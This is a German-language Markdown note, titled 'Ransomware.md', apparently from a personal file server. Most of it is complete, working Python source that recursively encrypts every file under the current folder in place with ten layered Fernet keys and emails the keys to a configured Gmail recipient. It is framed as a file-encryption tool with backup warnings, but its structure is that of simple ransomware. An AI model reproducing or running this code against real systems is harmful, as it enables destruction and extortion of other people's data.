Files
Server-MrHossa/FLATNOTES/Ransomware.md
T

3.7 KiB
Executable File

Datei-Verschlüsselung mit Python

Dieses Python-Skript verschlüsselt oder entschlüsselt Dateien rekursiv mit mehreren Fernet-Schlüsseln aus der Bibliothek cryptography.


Funktionen

  • Mehrfache Verschlüsselung (ROUNDS)
  • Automatische Schlüssel-Erstellung
  • Speicherung der Schlüssel in keys.txt
  • Versand der Schlüssel per Gmail
  • Entschlüsselung mit umgekehrter Schlüssel-Reihenfolge
  • Rekursive Verarbeitung aller Dateien im aktuellen Ordner

Voraussetzungen

Benötigte Bibliothek installieren:

pip install cryptography

Konfiguration

Passe diese Variablen an:

GMAIL_USER = "deine_mail@gmail.com"
GMAIL_APP_PASSWORD = "gmail_app_passwort"
RECEIVER_MAIL = "empfaenger@gmail.com"

Nutzung

Skript starten:

python encrypt.py

Danach auswählen:

  • e → Dateien verschlüsseln
  • d → Dateien entschlüsseln

Sicherheitshinweise

  • Die Datei keys.txt enthält alle Schlüssel.
  • Ohne diese Schlüssel können die Dateien nicht entschlüsselt werden.
  • Die Reihenfolge der Schlüssel ist wichtig.
  • Vor Nutzung unbedingt ein Backup erstellen.
  • Dateien aus EXCLUDE werden ignoriert.

Vollständiger Code

import pathlib
import smtplib
from email.message import EmailMessage
from cryptography.fernet import Fernet

GMAIL_USER = ""
GMAIL_APP_PASSWORD = ""
RECEIVER_MAIL = ""
EXCLUDE = {"encrypt.py", "keys.txt"}
ROUNDS = 10

def send_keys_via_mail(keys):
    msg = EmailMessage()
    key_text = "\n".join([f"Runde {i+1}: {k}" for i, k in enumerate(keys)])
    msg.set_content(f"Bewahre diese Schlüssel gut auf (Reihenfolge ist wichtig!):\n\n{key_text}")
    msg['Subject'] = f"🔒 Deine {len(keys)} Entschlüsselungs-Keys"
    msg['From'] = GMAIL_USER
    msg['To'] = RECEIVER_MAIL

    try:
        with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
            smtp.login(GMAIL_USER, GMAIL_APP_PASSWORD)
            smtp.send_message(msg)
        print("E-Mail mit allen Schlüsseln wurde versendet.")
    except Exception as e:
        print(f"E-Mail Fehler: {e}. Keys werden NUR lokal gespeichert!")

def get_or_create_keys(count):
    path = pathlib.Path("keys.txt")
    if not path.exists():
        keys = [Fernet.generate_key().decode() for _ in range(count)]
        path.write_text("\n".join(keys))
        send_keys_via_mail(keys)
        return [k.encode() for k in keys]
    return [k.encode() for k in path.read_text().splitlines()]

def process_files(mode, keys):
    # Bei Decrypt müssen wir die Keys in umgekehrter Reihenfolge nutzen!
    active_keys = keys[::-1] if mode == "decrypt" else keys
    
    for path in pathlib.Path(".").rglob("*"):
        if path.is_file() and path.name not in EXCLUDE:
            try:
                data = path.read_bytes()
                for k in active_keys:
                    fernet = Fernet(k)
                    data = fernet.decrypt(data) if mode == "decrypt" else fernet.encrypt(data)
                path.write_bytes(data)
                print(f"{mode.capitalize()} erfolgreich: {path.name}")
            except Exception as e:
                print(f"Fehler bei {path.name}: {e} (Evtl. falscher Key oder Modus?)")

def main():
    choice = input("Möchtest du (e)ncrypten oder (d)ecrypten? ").lower()
    
    if choice == 'e':
        keys = get_or_create_keys(ROUNDS)
        process_files("encrypt", keys)
    elif choice == 'd':
        if not pathlib.Path("keys.txt").exists():
            print("Fehler: keys.txt nicht gefunden!")
            return
        keys = [k.encode() for k in pathlib.Path("keys.txt").read_text().splitlines()]
        process_files("decrypt", keys)
    else:
        print("Ungültige Auswahl.")

if __name__ == "__main__":
    main()